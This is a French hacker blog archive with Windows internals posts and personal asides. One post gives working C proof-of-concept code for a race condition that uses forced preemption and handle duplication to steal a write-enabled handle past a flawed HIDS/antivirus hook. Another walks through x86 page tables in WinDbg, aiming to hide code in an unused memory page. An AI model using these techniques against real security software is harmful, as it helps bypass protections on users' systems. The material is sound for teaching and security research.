Archive for novembre, 2007

Virtualization

Je viens de créer une section sur mon repo contenant des docs publiques au sujet de la virtualisation et des hyperviseurs. Si vous connaissez d’autres papers sur le sujet n’hésitez pas à me les envoyer pour que je les upload afin que tout le monde (et surtout moi) en profite. Merci :)

2 comments novembre 29th, 2007

Stealing with preemption

Monstrueuse soirée hier, je suis allé au concert de Eths ! Première partie de Babylon Pression, totalement inconnu pour moi, ils m’ont complètement éclaté quand ils sont descendus jouer dans la « fosse » avec le pogo autour d’eux … IMPRESSIVE ! Dès que j’ai l’occasion de les revoir j’y vais. La suite Eths, de la bombe sur scène, un son qui annihile les oreilles tellement les enceintes weak saturaient, surtout le passage noisecore ou Candice à crié pendant 2 mins non stop, ca fait de la peur :] Pour vous faire une idée, ca ressemblait en gros à ce live . Ma preferée du live ? V.I.T.R.I.O.L extraite de leur dernier album, c’est booonnnnn !
Le prochain concert, ca sera black métal avec Mayhem. Cette fois ci je n’irais pas jouer aussi près du pogo ;)
Sinon nouvelle découverte nu-metal pour moi, Flyleaf et en plus la chix est cute ! (emo time, So I Thought). Si vous cherchez du bon son y’en a sur le blog de mon pote.

Depuis que j’ai 15 RSS sur des blogs metal qui proposent des albums en DDL tous les jours j’ai du mal à résister (rofl@Olivennes, ou je vais dl mes pr0nz now …)

Revenons-en à notre joli OS. Aujourd’hui nous allons voir que la préemption est un superbe mécanisme mais que dans certaine situation elle peut poser des problèmes de sécu si on ne protège pas certaines parties de code.

Je me place dans l’hypothèse ou le système possède un HIDS controlant l’ouverture de handles sur tous types d’objets. Typiquement un AV ou FW hookant dans le kernel la SSDT des apis commes NtCreateFile, NtOpenFile, NtOpenSection, etc …

L’HIDS dans ses hooks vas appeler les fonctions originales puis contrôler leurs retours. Dans le cas ou le retour de la fonction ne lui plait pas il va appliquer ses règles sur le handle ouvert. Pour mieux comprendre, je vais prendre un exemple concret. L’histoire se déroule sur un système avec un HDIS pas très malin. Ce dernier hook le syscall NtOpenSection pour contrôler l’accès au \Device\PhsysicalMemory, jusque là tout va bien. Problème, ce con de HDIS ne fonctionne pas vraiment dans le bon ordre, en effet il appelle la vrai NtOpenSection puis check le résultat. Dans le cas ou l’ouverture est valide et que l’object section concerné était \Device\PhsysicalMemory il ferme le premier handle et le rouvre en enlevant le GENERIC_WRITE de l’ACCESS_MASK … pas très très fort le HIDS.

J’ai reproduit le concept dans un code userland (pour l’exemple) avec le code ci-dessous. J’ai prit le device C: à la place du \Device\PhsysicalMemory. J’ai une routine qui correspond à un hook de CreateFile (MyCreateFile) qui est appelée par un thread (ThreadOpen). En premier MyCreateFile ouvre un handle sur le device avec les droits passés en argument, vérifié si l’ouverture est possible. Ensuite si le param dwDesiredAccess demande une ouverture en GENERIC_READ alors MyCreateFile va le désactiver et renvoyé un handle en GENERIC_READ.

#include <windows.h>
#include <stdio.h>

HANDLE MyCreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
)
{
    HANDLE hFile;
    
    hFile=CreateFile(lpFileName,            
                    dwDesiredAccess,        
                    dwShareMode,            
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);         
    
    //check si l'ouverture est ok
    if(hFile==INVALID_HANDLE_VALUE) 
        return INVALID_HANDLE_VALUE;
    
    //2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile 
    //et on reouvre le file en GENERIC_READ
    //Sinon on renvoie le handle
    if(dwDesiredAccess&GENERIC_WRITE)
    {
        CloseHandle(hFile);
        
        printf("Removing GENERIC_WRITE righ\n");
        
        hFile=CreateFile(lpFileName,           
                    dwDesiredAccess&~GENERIC_WRITE,  //vire le flag GENERIC_WRITE de dwDesiredAccess     
                    dwShareMode,           
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);
      if(hFile!=INVALID_HANDLE_VALUE)
        return hFile;      
    }
    else
        return hFile;                        
    
    return INVALID_HANDLE_VALUE;   
}


DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
    HANDLE hFile;
    
    hFile=MyCreateFile("\\\\.\\C:",
                    GENERIC_READ|GENERIC_WRITE,
                    FILE_SHARE_READ|FILE_SHARE_WRITE,
                    NULL,
                    OPEN_EXISTING,
                    FILE_ATTRIBUTE_NORMAL,
                    NULL);
    if(hFile==INVALID_HANDLE_VALUE)
    {
        printf("Error with CreateFile : %d\n", GetLastError());
        return 0;   
    }
    
    CloseHandle(hFile);
    return 0;   
}


int main()
{
    DWORD TID;
    HANDLE hThread;
        
    hThread=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
    if(hThread==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    
    WaitForSingleObject(hThread, INFINITE);
    
    CloseHandle(hThread);
    return 0;   
}

Vous me direz qu’a première vue, même si la vérification semble un peu weird, niveau sécu ya pas de soucis. Sauf, sauf, sauf que ! Imaginez, vous êtes entourée de 2 chix ultra cute, légèrement habillé et là, elles commencent à vous … HEWWW trompé de fenêtre, maudits chocapicz, désolé :] Je disais donc, imaginez que le durant la routine de vérification le thread de fasse préempté par un autre thread sous ordre du scheduler. Si, comme de par un hasard magique, le thread se fait préempté juste après avoir ouvert le handle avec les droits passé en params. On se retrouve avec notre process possédant les droits voulu sur l’objet (les handles étant process spécific, je le rappel) durant un court temps. IMAGINEZ qu’a ce moment là on regarde les handles ouvert du process et qu’en voyant ce zoli handle sur notre objet avec les droits voulu on duplique ce handle. GRUUUUTT !

Le concept est intéressant. Reste à l’appliquer … Première, étape, comment faire en sorte que le thread se fasse préempter au bon moment ? On a pas le choix, il faut bruteforcer, on va faire en sorte que le thread qui ouvre l’objet tourne en priority -6 avec l’api SetThreadPriority , tandis qu’en parallèle un autre thread tournera dans le même process en priority +6. Le scheduler privilégiant le second thread devra préempter le premier. Ensuite comme j’ai un dual core, je vais faire tourner les 2 threads sur le core 0 avec l’API SetThreadAffinityMask pour être bien sur qu’aucun des threads ne tourne en parallèle sur l’autre core.

Seconde étape, retrouver le handle. On ne va pas s’amuser à énumérer tous les handles du process, cela est trop compliqué et prendrait trop de temps. On va ruser comme des renards, sachant qu’un handle n’est qu’au final un indice dans une table, il suffit de crée un handle, de récup sa valeur puis de le ferme, en théorie le handle suivant devrait prendre la même valeur.

Ensuite on fait tourner les threads dans des boucles infinies. Le thread chargé de volé le handle va utilisé NtQueryObject pour retrouver le nom du handle supposé. Dans mon exemple j’ai prit le device NUL. S’il trouve le device il duplique le handle et check si l’écrite est disponible dessus :] Si c’est bon on a volé le handle comme désiré. En code ca donne :

#include &ltwindows.h&gt
#include &ltstdio.h>

#include "ntdll.h"

#pragma comment (lib, "ntdll.lib");

HANDLE MyCreateFile(
  LPCTSTR lpFileName,
  DWORD dwDesiredAccess,
  DWORD dwShareMode,
  LPSECURITY_ATTRIBUTES lpSecurityAttributes,
  DWORD dwCreationDisposition,
  DWORD dwFlagsAndAttributes,
  HANDLE hTemplateFile
)
{
    HANDLE hFile;
    
    hFile=CreateFile(lpFileName,            
                    dwDesiredAccess,        
                    dwShareMode,            
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);         
    
    //check si l'ouverture est ok
    if(hFile==INVALID_HANDLE_VALUE) 
        return INVALID_HANDLE_VALUE;
    
    printf("Handle value : 0x%x\n", hFile);
    
    //2 cas, soit on demande un ouverture en écriture, alors on close le handle hFile 
    //et on reouvre le file en GENERIC_READ
    //Sinon on renvoie le handle
    if(dwDesiredAccess&GENERIC_WRITE)
    {
        CloseHandle(hFile);
        
        printf("Removing GENERIC_WRITE righ\n");
        
        hFile=CreateFile(lpFileName,           
                    GENERIC_READ,  //vire le flag GENERIC_WRITE de dwDesiredAccess     
                    dwShareMode,           
                    lpSecurityAttributes,   
                    dwCreationDisposition, 
                    dwFlagsAndAttributes,   
                    hTemplateFile);
      if(hFile!=INVALID_HANDLE_VALUE)
        return hFile;      
    }
    else
        return hFile;                        
    
    return INVALID_HANDLE_VALUE;   
}


DWORD WINAPI ThreadOpen(LPVOID lpParameter)
{
    HANDLE hFile;
    
    while(1)
    {
        hFile=MyCreateFile("\\\\.\\NUL",
                        GENERIC_READ|GENERIC_WRITE,
                        FILE_SHARE_READ|FILE_SHARE_WRITE,
                        NULL,
                        OPEN_EXISTING,
                        FILE_ATTRIBUTE_NORMAL,
                        NULL);
        if(hFile==INVALID_HANDLE_VALUE)
        {
            printf("Error with CreateFile : %d\n", GetLastError());
            return 0;   
        }
        
        CloseHandle(hFile);
    }
    
    return 0;   
}


DWORD WINAPI ThreadSteal(LPVOID lpParameter)
{
    HANDLE hObject, hDup;
    ULONG Status, BytesRet;
    POBJECT_NAME_INFORMATION pONI;
    OBJECT_BASIC_INFORMATION OBI;
    
    while(1)
    {
        hObject=MyCreateFile("C:\\Windows\\explorer.exe",
                            GENERIC_READ,
                            FILE_SHARE_READ|FILE_SHARE_WRITE,
                            NULL,
                            OPEN_EXISTING,
                            FILE_ATTRIBUTE_NORMAL,
                            NULL);
        if(hObject==INVALID_HANDLE_VALUE)
        {
                printf("Error with CreateFile : %d\n", GetLastError());
                goto cleanup;   
        }
        CloseHandle(hObject);
       
        
        printf("Next supposed handle value : 0x%x\n", hObject); 
         
        
        /*******************NAME*****************/
        pONI=(POBJECT_NAME_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, MAX_PATH); 
        
        Status=ZwQueryObject(hObject, 
                            ObjectNameInformation, 
                            pONI, 
                            MAX_PATH, 
                            &BytesRet);
        if(Status!=STATUS_SUCCESS) // si c'est bon cette fois ci
        {   
            //printf("Error with NtQueryObject (ObjectNameInformation) : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
            goto cleanup;
        }               
                                
        if(pONI->Name.Length)
            wprintf(L"%s\n", pONI->Name.Buffer);
        else
            printf("\n");   
        
        if(wcscmp(pONI->Name.Buffer, L"\\Device\\Null")==0)
        {
           //printf("Duplicating handle ...\n");
           
           Status=ZwDuplicateObject(GetCurrentProcess(),
                        hObject,
                        GetCurrentProcess(),
                        &hDup,
                        0,
                        false,
                        DUPLICATE_SAME_ACCESS);
            if(Status!=STATUS_SUCCESS)
            {           
                printf("Error with NtDuplicateObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
                goto cleanup;
            }                   
            
            /*
            sort un result zarb ...
            Status=ZwQueryObject(hDup, 
                            ObjectBasicInformation, 
                            &OBI, 
                            sizeof(OBI), 
                            &BytesRet);
            if(Status!=STATUS_SUCCESS)
            {           
                printf("Error with NtQueryObject : 0x%x : %d \n", Status, RtlNtStatusToDosError(Status));
                goto cleanup;
            }   
            
            printf("OBI.GrantedAccess : 0x%x\n", OBI.GrantedAccess);
            */
            
            if(!WriteFile(hDup, "bouh", strlen("bouh"), &BytesRet, 0))
                printf("FUCKED\n");
                
            printf("Getting handle with full rights \\o/\n");
            HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
            CloseHandle(hObject);
            
            ExitThread(0);             
        }   
        
        cleanup:
        HeapFree(GetProcessHeap(), HEAP_NO_SERIALIZE, pONI);
        CloseHandle(hObject);
    }
        
    return 0;
}


int main()
{
    DWORD TID;
    HANDLE hThreadOpen, hThreadSteal;
        
    hThreadSteal=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadSteal, NULL, 0, &TID);
    if(hThreadSteal==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    SetThreadPriority(ThreadSteal, 6);
    SetThreadAffinityMask(hThreadSteal, 0);
    
    
    hThreadOpen=CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadOpen, NULL, 0, &TID);
    if(hThreadOpen==NULL)
    {
        printf("Error with CreateThread : %d\n", GetLastError());
        return 0;   
    }
    SetThreadPriority(hThreadOpen, -6);
    SetThreadAffinityMask(hThreadOpen, 0);
    
    //wait le ThreadSteal
    WaitForSingleObject(hThreadSteal, INFINITE);
    
    TerminateThread(hThreadOpen, 0);
    
    CloseHandle(hThreadSteal);
    CloseHandle(hThreadOpen);
    
    return 0;   
}

En pratique ca sort :

C:\ProgHack\c>prempt
[...]
Removing GENERIC_WRITE righ
Error with NtDuplicateObject : 0xc0000008 : 6
Handle value : 0x7d8
Next supposed handle value : 0x7d8
Handle value : 0x7d8
\Device\Null
Getting handle with full rights \o/

Evidemment, c’est attaque est a appliqué sur un thread utilisant un syscall checké par un HDIS mal foutu. La je le fais en user-land pour vous montrer une application. Le reste dépend de vous ;)

Je vous file le code+bin ici :
http://ivanlef0u.fr/repo/Preempt.rar

Bien évidemment il est possible d’empêcher le fait qu’un code se fasse préempté en utilisant des Critical Sections.

Sinon 2 docs qui valent le coup d’être lues :
What Every Programmer Should Know About Memory

Understanding Full Virtualization, Paravirtualization, and Hardware Assist

Enfin IRC, la ou tout est possible :)

<presonic_> WUSUP PUSSIES
<zmda> someone is teaching me kernel hacking
<presonic_> cool
<zmda> [06:47] <[I]shTuS> i mean with the PAX thing
<zmda> [06:47] <zmda> i want to bypass its features
<zmda> [06:47] <zmda> i found a 0day
<zmda> [06:47] <zmda> in the linux tcpip stack
<zmda> [06:48] <zmda> ip_queue_xmit() or something
<zmda> [06:55] <[I]shTuS> how many bytes does it take to overflow?
<zmda> [06:57] <zmda> 4gig i think
<presonic_> lol
<presonic_> 4 gig
<zmda> [07:03] <[I]shTuS> exact ammount of data + 4 bytes to change eip to a CALL ESP instruction + your code that binds a shell or something
<zmda> [07:07] <zmda> it's an integer overflow
<zmda> [07:07] <zmda> that triggers off a slab allocator overflow
<zmda> [07:08] <[I]shTuS> hmm what is a slab allocator overflow?...
<zmda> [07:08] <[I]shTuS> never heared of it
<zmda> he said he was deep into kernel exploitation
<zmda> at the start
<zmda> [07:08] <[I]shTuS> int overflow leads to buffer overflow
<zmda> [07:09] <[I]shTuS> http://en.wikipedia.org/wiki/Buffer_overflow

3 comments novembre 24th, 2007

Idle

Fait froid, ya des grêves, je suis malade et j’ai plein de cours, ca suuuuxxx ffs !!!
Mais pour me remonter le moral, j’écoute Second Heartbeat de Avenged Sevenfold !


Second Heartbeat

« As time passes by, regrets for the rest of my life.
The ones who I confide were gone in the black of the night. »
What else ?

Sinon pour ceux qui veulent se mettre à debug kernel sous windbg :
http://blogs.msdn.com/johan/archive/2007/11/13/getting-started-with-windbg-part-i.aspx

Idle must die …

4 comments novembre 19th, 2007

Lost Page

Il y des jours comme ca, on croit avoir une bonne idée, on commence à coder un peu, sans trop réfléchir, pour se rendre compte qu’en fait, c’est super chaud ce qu’on veut faire … C’est marrant de voir comment on peut chier dans la colle parfois. J’étais en train de ranger ma collection de RSS (170 au total) quand je me suis dit qu’on devait pouvoir tricker avec la mémoire user-land non explorée.

Je me suis donc coder un petit prog qui alloue les dernières portions de mémoire avant l’adresse 0×80000000.

#include <windows.h>
#include <stdio.h>

#pragma comment (lib, "ntdll.lib")

extern "C" ULONG __stdcall NtAllocateVirtualMemory(
	IN HANDLE ProcessHandle,
	IN OUT PVOID *BaseAddress,
	IN ULONG ZeroBits,
	IN OUT PULONG AllocationSize,
	IN ULONG AllocationType,
	IN ULONG Protect
);

ULONG main(int argc, char * argv[])
{
	ULONG Status, Size=0x1000, A;
	PVOID Addr;

 	for(A=0x70, Addr=0; A<0x80; A++, Addr=0)
 	{

 		Addr=(PVOID)((A<<24)+0xFF0000);

 		printf("Addr: 0x%x\n", Addr);
 		Status=NtAllocateVirtualMemory((HANDLE)-1, &Addr, 0, &Size,
 		MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE); 

		if(Status)
 			printf("Error with NtAllocateVirtualMemory : 0x%x\n", Status);
 		else
 			printf("RULZ\n");

 		VirtualFree(Addr, Size, MEM_RELEASE);	

 	}
 	return 0;
}

A l’exécution j’obtiens :

[...]
Addr: 0x7dff0000
RULZ
Addr: 0x7eff0000
RULZ
Addr: 0x7fff0000
Error with NtAllocateVirtualMemory : 0xc00000f0

WTF avec l’addr 0x7fff00, la fonction NtAllocateVirtualMemory renvoie STATUS_INVALID_PARAMETER_2, qui veut dire que l’adresse d’allocation n’est pas bonne … Un petit doute s’empare de moi, ai-je mal retenu la limite entre le user-land et le kernel ? OK je sors le kd et je dump quelques constantes :

kd> ? poi(nt!MmSystemRangeStart)
Evaluate expression: -2147483648 = 80000000

Cool, le kernel-land commence bien en 0×80000000. Je regarde l’adresse user-land la plus élevée possible qui normalement devrait être 0x7fffffff :

kd> ? poi(nt!MmHighestUserAddress)
Evaluate expression: 2147418111 = 7ffeffff

Bim en plein dans mon cul, la fonction NtAllocateVirtualMemory vérifie que l’adresse d’allocation + la taille demandé ne dépasse pas MmHighestUserAddress et renvoie une erreur sinon. Un rapide calcul nous montre que MmSystemRangeStart-MmHighestUserAddress=0×1001, soit 4Ko (une page !) allant de 0x7fff000 à 0x7fffffff qui ne seront jamais utilisé par le process.

J’étais donc partit sur l’idée d’exploiter cette sorte de no man’s land pour y cacher des dates, du codes, voir même des chocapicz. Comme la seule fonction user-land capable d’allouer de la mémoire est NtAllocateVirtualMemory il me fallait concevoir à driver qui allait servir à ajouter cette zone mémoire dans le context de mon process.

Avec mon driver il est évident que je n’allais pas utiliser ZwAllocateMemory, j’ai donc décidé de jouer avec les MDL. Processus classique, j’alloue un buffer de la taille d’une page (PAGE_SIZE) dans la paged pool du kernel avec ExAllocatePoolWithTag puis je crée un MDL avec IoAllocateMdl qui représente la page de ce buffer. Ensuite MmProbeAndLockPages pour que ma page soit résidente en mémoire (jamais swappée) et enfin MmMapLockedPagesSpecifyCache pour mapper ma page à l’adresse 0x7fff0000 et là c’est le drame ! MmMapLockedPagesSpecifyCache contrôle aussi que l’allocation se fait bien à une adresse inférieure à 7ffeffff, ouinnz !

A partir de ce moment, je commence à désespérer, je sens que j’ai encore eu une idée en mousse. Arrive un moment ou je me dis que la solution la plus évidente serait d’ajouter moi même ma page dans l’espace mémoire du process. Mais pour cela, il faut s’attaquer à l’enfer qu’est la pagination … Pour ceux qui connaissent déjà, ils peuvent sauter ce post et m’aider un coder mon tool ;)

Bion, un process dispose d’un espace user-land de 2Go virtuellement disponible. Cela signifie qu’il existe un mécanisme faisant croire au process qu’il dispose de 2Go de RAM alors qu’en réalité vous en avez juste assez pour faire tourner démineur sous Vista, c’est à dire 1 Go :p. Concrètement, le process manipule des addresse virtuelles qui peuvent aller de 0×0000000 à 0x7ffeffff, le système va effectuer une translation d’adresse pour retrouver l’adresse physique correspondante dans la RAM. Comme il ya au maximum 4GO de RAM allouable sur un système x86 32 bits il existe une extension kernel appelée PAE qui permet de profiter pleinement de toute votre mémoire, je ne m’attarderais pas dessus.

Chaque process va donc allouer son codes et ses datas dans les zones mémoire de son choix, seules les pages nécessaires seront utilisées physiquement. Cependant comme un programme à son propre espace mémoire de 2Go, il faut bien évidement que l’adresses 0×400000 ne renvoie pas sur la même adresse physique pour le processs A et pour le process B. C’est là qu’on rentre dans le principe de la pagination.

En gros chaque process possède une table qui lui est propre, servant à translater les adresses virtuelles en adresses physiques. Cette table se présente sous la forme d’un tableau de tableaux. Le premier tableau contient des Page Directorie Entries (PDE), le second des Page Table Entries (PTE). Chaque process possède 1024 (0×400) PDE et chaque PDE possède 1024 PTEs. Un PTE représente un page mémoire c’est à dire 4Ko. Si on calcul, 1024*1024*4096=2^32, on a bien toute notre mémoire de représentée. Les PDE et PTE on la forme suivante :

PDE_PTE

Pour plus d’infos je vous laisse lire les man intels. Ce qu’il faut retenir ce sont les champs « Page-Table Base Address » et « Page Base Address ». En fait, un PDE va référencer un PTE à travers son l’indice de sa page dans la RAM. Par exemple si j’ai un PDE avec un Page-Table Base Address de 0×879, alors ma table de PTEs commence à 0×879*PAGE_SIZE en RAM. Une adresse virtuelle sert à indiquer quels PDE et PTE sont utilisés pour retrouver son adresse physique. Celle-ci est découpée en 3 parties comme vous le voyez sur le schéma suivant :

Virtual_Address

Si je prends l’adresse virtuelle 0x7e390000 alors l’indice du PDE parmi les 1024 existant est 0x1f8 :

kd> ? 7e390000 >>0x16
Evaluate expression: 504 = 000001f8

L’indice de son PTE parmit les 1024 est 0×390 :

kd> ? (7e390000 & 3FF000)>>0xC
Evaluate expression: 912 = 00000390

Les 12 derniers bytes servent à indiquer à quel offset nos données se trouvent dans la page. Au final on a donc :

Addr_tranlation

J’ai aussi dit que chaque process avait sa propre table de PDEs. Cela est réalisé grâce au registre cr3 qui contient l’adresse physique du tableau de PDE, on retrouve cette valeur dans l’KPROCESS dans le champ DirectoryTableBase (offset 0×18) :

804e3592 cc              int     3
kd> !process -1
PROCESS 84256da0  SessionId: 0  Cid: 02d4    Peb: 7ffd5000  ParentCid: 03ac
    DirBase: 01d62000  ObjectTable: e110bef8  HandleCount:  23.
    Image: instdrv.exe
    VadRoot ffa5c058 Vads 31 Clone 0 Private 48. Modified 1334. Locked 0.
    DeviceMap e1716068
    Token                             e1110040
    ElapsedTime                       06:17:31.720
    UserTime                          00:00:00.040
    KernelTime                        00:00:00.440
    QuotaPoolUsage[PagedPool]         15360
    QuotaPoolUsage[NonPagedPool]      1240
    Working Set Sizes (now,min,max)  (322, 50, 345) (1288KB, 200KB, 1380KB)
    PeakWorkingSetSize                322
    VirtualSize                       12 Mb
    PeakVirtualSize                   12 Mb
    PageFaultCount                    319
    MemoryPriority                    BACKGROUND
    BasePriority                      8
    CommitCharge                      91

        THREAD ffa07030  Cid 02d4.02bc  Teb: 7ffdf000 Win32Thread: e1117d90 WAIT: (WrUserRequest) UserMode Non-Alertable
            80dd8138  SynchronizationEvent

kd> dt nt!_KPROCESS 84256da0
   +0x000 Header           : _DISPATCHER_HEADER
   +0x010 ProfileListHead  : _LIST_ENTRY [ 0x84256db0 - 0x84256db0 ]
   +0x018 DirectoryTableBase : [2] 0x1d62000
   [..]

A noter que le tableau des PDEs se retrouve toujours à l’adresse virtuelle 0xC0300000

Maintenant on va prendre un exemple concret ! Dans le cas suivant, j’ai fait en sorte que KD se retrouve dans le context d’un process nommé instdrv.exe.

kd> .process /i 84256da0
You need to continue execution (press 'g' ) for the context
to be switched. When the debugger breaks in again, you will be in
the new process context.

kd> g
Break instruction exception - code 80000003 (first chance)
nt!RtlpBreakWithStatusInstruction:
804e3592 cc              int     3

kd> !peb
PEB at 7ffd5000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            No
    ImageBaseAddress:         00400000
    Ldr                       00191e90
    Ldr.Initialized:          Yes
    Ldr.InInitializationOrderModuleList: 00191f28 . 00192258
    Ldr.InLoadOrderModuleList:           00191ec0 . 001922e8
    Ldr.InMemoryOrderModuleList:         00191ec8 . 001922f0
            Base TimeStamp                     Module
          400000 3b6a692f Aug 03 11:04:47 2001 C:\mdl\instdrv.exe
        7c910000 41109627 Aug 04 09:54:15 2004 C:\WINDOWS\system32\ntdll.dll
        7c800000 46239be7 Apr 16 17:53:11 2007 C:\WINDOWS\system32\kernel32.dll
        77da0000 411095e8 Aug 04 09:53:12 2004 C:\WINDOWS\system32\ADVAPI32.dll
        77e50000 46923412 Jul 09 15:11:46 2007 C:\WINDOWS\system32\RPCRT4.dll
        77fc0000 4110961d Aug 04 09:54:05 2004 C:\WINDOWS\system32\Secur32.dll
        7e390000 45f02dce Mar 08 16:37:50 2007 C:\WINDOWS\system32\USER32.dll
        77ef0000 4677dae9 Jun 19 15:32:25 2007 C:\WINDOWS\system32\GDI32.dll
    SubSystemData:     00000000
    ProcessHeap:       00080000
    ProcessParameters: 00020000
    WindowTitle:  'C:\mdl\instdrv.exe'
    ImageFile:    'C:\mdl\instdrv.exe'
    CommandLine:  '"C:\mdl\instdrv.exe" '
    DllPath:      'C:\mdl;C:\WINDOWS\system32;C:\WINDOWS\system;C:\WINDOWS;.;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem'
    Environment:  00010000
        ALLUSERSPROFILE=C:\Documents and Settings\All Users
        APPDATA=C:\Documents and Settings\fu\Application Data
        CLIENTNAME=Console
        CommonProgramFiles=C:\Program Files\Fichiers communs
        COMPUTERNAME=FU
        ComSpec=C:\WINDOWS\system32\cmd.exe
        FP_NO_HOST_CHECK=NO
        HOMEDRIVE=C:
        HOMEPATH=\Documents and Settings\fu
        LOGONSERVER=\\FU
        NUMBER_OF_PROCESSORS=1
        OS=Windows_NT
        Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem
        PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH
        PROCESSOR_ARCHITECTURE=x86
        PROCESSOR_IDENTIFIER=x86 Family 15 Model 72 Stepping 2, AuthenticAMD
        PROCESSOR_LEVEL=15
        PROCESSOR_REVISION=4802
        ProgramFiles=C:\Program Files
        SESSIONNAME=Console
        SystemDrive=C:
        SystemRoot=C:\WINDOWS
        TEMP=C:\DOCUME~1\fu\LOCALS~1\Temp
        TMP=C:\DOCUME~1\fu\LOCALS~1\Temp
        USERDOMAIN=FU
        USERNAME=fu
        USERPROFILE=C:\Documents and Settings\fu
        windir=C:\WINDOWS
        _NT_SYMBOL_PATH=SRV*C:\Symbols*http://msdl.microsoft.com/download/symbols

Ok on peut voir que le tableau de PDEs de se process se trouve à l’adresse physique 0x01d62000 en regardant le registre cr3.

kd> r cr3
cr3=01d62000

La table des PDEs se trouve donc en à l’adresse physique 0x01d62000 :

kd> !dd 01d62000l 400
# 1d62000 0ade4067 0699a067 00000000 00000000
# 1d62010 00000000 00000000 00000000 00000000
# 1d62020 00000000 00000000 00000000 00000000
# 1d62030 00000000 00000000 00000000 00000000
# 1d62040 00000000 00000000 00000000 00000000
# 1d62050 00000000 00000000 00000000 00000000
# 1d62060 00000000 00000000 00000000 00000000
# 1d62070 00000000 00000000 00000000 00000000
[...]

On la retrouve bien à l’adresse virtuelle 0xC0300000 :

kd> dd 0xC0300000 l 400
c0300000  0ade4067 0699a067 00000000 00000000
c0300010  00000000 00000000 00000000 00000000
c0300020  00000000 00000000 00000000 00000000
c0300030  00000000 00000000 00000000 00000000
c0300040  00000000 00000000 00000000 00000000
c0300050  00000000 00000000 00000000 00000000
c0300060  00000000 00000000 00000000 00000000
c0300070  00000000 00000000 00000000 00000000
[...]

Maintenant je prends la DLL user32.dll qui commence à l’adresse virtuelle 0x7e390000 :

kd> db 7e390000
7e390000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
7e390010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
7e390020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
7e390030  00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00  ................
7e390040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
7e390050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
7e390060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS
7e390070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$......

Ok PE Header classique. On va retrouver l’adresse physique correspondant à 0x7e390000. C’est partit, d’abord on calcul l’indice du PDE :

PDE
kd> ? 7e390000 >> 16
Evaluate expression: 504 = 000001f8

Ok il est à l’indice 0x1F8 dans le tableau. Pour afficher son contenu on a 2 choix, soit on utilise l’addresse virtuelle C0300000 soit l’adresse physique 0x01d6200 (la commande !dd affiche le contenu à l’adresse phys passée en argument) :

kd> dd C0300000+1f8*4 l 1
c03007e0  07ed7067

kd> !dd 0x01d62000+1f8*4 l 1
# 1d627e0 07ed7067

Ok on a le PDE. La suite, trouvé le PTE, on prend l’adresse 0x7e390000 et on extrait l’indice du PTE :

<
PTE
kd> ? (7e390000 & 3FF000)>>C
Evaluate expression: 912 = 00000390

Le PTE se trouve à l’indice 0×390. Grâce au PDE on connait l’adresse physique de la table des PTEs (7ed7*1000), il suffit de faire l’opération suivante pour connaître le contenu du PTE :

kd> !dd (7ed7*1000)+390*4 l 1
# 7ed7e40 078e8025

On y est presque, pour ceux qui on survécu la délivrance est proche ! Le champ Page Base Address du PTE nous indique l’indice de la page physique qui contient nos données. Il suffit donc de faire (PTE.Page_Base_Address)*PAGE_SIZE+Offset pour retrouver nos datas (ici l’offset est nul) :

kd> !db 78e8*1000
# 78e8000 4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00 MZ..............
# 78e8010 b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00 ........@.......
# 78e8020 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
# 78e8030 00 00 00 00 00 00 00 00-00 00 00 00 d8 00 00 00 ................
# 78e8040 0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68 ........!..L.!Th
# 78e8050 69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f is program canno
# 78e8060 74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20 t be run in DOS
# 78e8070 6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00 mode....$.......

Wootz on retrouve notre en-tête PE de user32.dll.

Vous ne inquietez pas, il existe des commandes fournit par le kernel debuggger pour retrouver l’indice de la page physique correspond à notre adresse virtuelle. Par exemple, il y a la commande !pte :

kd> !pte 7e390000 (user32.dll)
               VA 7e390000
PDE at   C03007E0        PTE at C01F8E40
contains 07ED7067      contains 078E8025
